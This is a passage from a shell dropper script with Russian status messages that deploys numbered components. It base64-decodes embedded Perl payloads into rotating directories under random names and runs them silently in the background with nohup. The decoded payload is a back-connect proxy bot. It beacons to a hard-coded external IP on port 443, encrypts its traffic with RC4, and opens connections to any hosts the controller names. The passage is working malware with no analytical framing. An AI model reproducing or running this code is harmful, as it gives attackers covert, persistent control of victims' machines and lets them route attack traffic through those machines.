KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #38 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #38 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 39 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODcnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv 